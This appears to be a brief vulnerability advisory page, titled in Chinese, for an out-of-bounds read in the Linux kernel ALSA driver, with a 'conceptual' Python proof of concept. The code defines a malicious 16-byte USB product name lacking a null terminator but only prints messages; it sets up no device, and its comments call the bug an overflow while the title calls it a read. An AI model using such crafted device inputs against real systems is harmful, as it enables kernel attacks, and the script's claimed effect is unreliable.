CVE-2026-31778 Linux内核ALSA驱动越界读取漏洞

import usb.core import usb.util # This is a conceptual PoC simulating a malicious USB device # that triggers the buffer overflow in the kernel driver. # Define a device name that fills the buffer (16 bytes) # and lacks a null terminator within the copied range. # Non-ASCII characters are used as per the description. malicious_name = b'\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff' def create_malicious_device(): # In a real scenario, this would involve configuring a USB device # (e.g., using a USB rubber ducky or software-emulated USB gadget) # with the product name set to `malicious_name`. print(f"[+] Simulating USB device with name: {malicious_name}") print(f"[+] Name length: {len(malicious_name)} bytes") print("[!] If connected, this device triggers CVE-2026-31778 in vulnerable kernels.") if __name__ == "__main__": create_malicious_device()